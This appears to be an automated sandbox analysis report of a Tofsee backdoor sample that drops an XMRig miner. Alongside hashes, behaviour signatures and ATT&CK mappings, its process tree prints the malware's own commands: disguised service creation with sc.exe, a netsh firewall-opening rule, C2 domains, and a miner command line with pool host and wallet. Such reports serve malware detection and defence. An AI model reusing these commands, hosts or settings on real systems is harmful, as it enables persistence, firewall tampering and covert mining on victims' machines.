Analysis

  • max time kernel
    172s
  • max time network
    188s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-12-2022 22:33

General

  • Target

    16b79fe0d333c0872196f9d07799700e7057cf9cb35245a950c3160cf3361a04.exe

  • Size

    192KB

  • MD5

    1a7bc27f692d3dbece161a99346cadb5

  • SHA1

    ee3480ed28ab3482e803132284714c0570000d2f

  • SHA256

    16b79fe0d333c0872196f9d07799700e7057cf9cb35245a950c3160cf3361a04

  • SHA512

    4d6983e26fcf16f2dd470bd32b2674a8ee88cf3c3c05d7567e208cfddd748c80c30665d3e54573b83cd35f978d80240de9f3c2632d33b24ab8be81816a555a21

  • SSDEEP

    3072:m+bPrk/IX42aIJ5ieMJu9FFG4SlTx3edF6fX4FvRs9E3AZxpR/3d:mcX42aTehNG4S1x3Dvpld

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\16b79fe0d333c0872196f9d07799700e7057cf9cb35245a950c3160cf3361a04.exe
    "C:\Users\Admin\AppData\Local\Temp\16b79fe0d333c0872196f9d07799700e7057cf9cb35245a950c3160cf3361a04.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1672
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dpuypyeu\
      2⤵
        PID:1888
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\coxlkgpu.exe" C:\Windows\SysWOW64\dpuypyeu\
        2⤵
          PID:1592
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dpuypyeu binPath= "C:\Windows\SysWOW64\dpuypyeu\coxlkgpu.exe /d\"C:\Users\Admin\AppData\Local\Temp\16b79fe0d333c0872196f9d07799700e7057cf9cb35245a950c3160cf3361a04.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4584
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description dpuypyeu "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1064
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start dpuypyeu
          2⤵
          • Launches sc.exe
          PID:3104
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4660
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1672 -s 1276
          2⤵
          • Program crash
          PID:648
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 1672 -ip 1672
        1⤵
          PID:4624
        • C:\Windows\SysWOW64\dpuypyeu\coxlkgpu.exe
          C:\Windows\SysWOW64\dpuypyeu\coxlkgpu.exe /d"C:\Users\Admin\AppData\Local\Temp\16b79fe0d333c0872196f9d07799700e7057cf9cb35245a950c3160cf3361a04.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:4204
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:2424
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2156
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4204 -s 536
            2⤵
            • Program crash
            PID:2836
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 4204 -ip 4204
          1⤵
            PID:744

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\coxlkgpu.exe
            Filesize

            13.1MB

            MD5

            c7d222d240e180cb431f42147bd5ef88

            SHA1

            18b30d63dfa3392a6cced3d3eb4cafa850c416ff

            SHA256

            8a2ca713500065b6371321643c43cdb4995bf2b031e93ec4090b9812f777b5fe

            SHA512

            f8e344f71dd863c9f12cbc0060ceddf4a88f3fac6e8868bc3fe25138d9e348908d9d251a4a0c5e7356aaa9deebd4326440a39343b0d774985698be417de994a3

          • C:\Windows\SysWOW64\dpuypyeu\coxlkgpu.exe
            Filesize

            13.1MB

            MD5

            c7d222d240e180cb431f42147bd5ef88

            SHA1

            18b30d63dfa3392a6cced3d3eb4cafa850c416ff

            SHA256

            8a2ca713500065b6371321643c43cdb4995bf2b031e93ec4090b9812f777b5fe

            SHA512

            f8e344f71dd863c9f12cbc0060ceddf4a88f3fac6e8868bc3fe25138d9e348908d9d251a4a0c5e7356aaa9deebd4326440a39343b0d774985698be417de994a3

          • memory/1064-140-0x0000000000000000-mapping.dmp
          • memory/1592-136-0x0000000000000000-mapping.dmp
          • memory/1672-151-0x0000000000400000-0x0000000000466000-memory.dmp
            Filesize

            408KB

          • memory/1672-137-0x0000000000628000-0x0000000000639000-memory.dmp
            Filesize

            68KB

          • memory/1672-134-0x0000000000400000-0x0000000000466000-memory.dmp
            Filesize

            408KB

          • memory/1672-133-0x00000000004E0000-0x00000000004F3000-memory.dmp
            Filesize

            76KB

          • memory/1672-132-0x0000000000628000-0x0000000000639000-memory.dmp
            Filesize

            68KB

          • memory/1888-135-0x0000000000000000-mapping.dmp
          • memory/2156-177-0x0000000000A00000-0x0000000000AF1000-memory.dmp
            Filesize

            964KB

          • memory/2156-172-0x0000000000A00000-0x0000000000AF1000-memory.dmp
            Filesize

            964KB

          • memory/2156-171-0x0000000000000000-mapping.dmp
          • memory/2424-145-0x0000000001200000-0x0000000001215000-memory.dmp
            Filesize

            84KB

          • memory/2424-144-0x0000000000000000-mapping.dmp
          • memory/2424-168-0x00000000025E0000-0x00000000025E7000-memory.dmp
            Filesize

            28KB

          • memory/2424-150-0x0000000001200000-0x0000000001215000-memory.dmp
            Filesize

            84KB

          • memory/2424-152-0x0000000001200000-0x0000000001215000-memory.dmp
            Filesize

            84KB

          • memory/2424-153-0x0000000003000000-0x000000000320F000-memory.dmp
            Filesize

            2.1MB

          • memory/2424-156-0x0000000002570000-0x0000000002576000-memory.dmp
            Filesize

            24KB

          • memory/2424-159-0x0000000002580000-0x0000000002590000-memory.dmp
            Filesize

            64KB

          • memory/2424-162-0x00000000025D0000-0x00000000025D5000-memory.dmp
            Filesize

            20KB

          • memory/2424-165-0x0000000007F00000-0x000000000830B000-memory.dmp
            Filesize

            4.0MB

          • memory/3104-141-0x0000000000000000-mapping.dmp
          • memory/4204-148-0x00000000006F3000-0x0000000000703000-memory.dmp
            Filesize

            64KB

          • memory/4204-149-0x0000000000400000-0x0000000000466000-memory.dmp
            Filesize

            408KB

          • memory/4584-139-0x0000000000000000-mapping.dmp
          • memory/4660-142-0x0000000000000000-mapping.dmp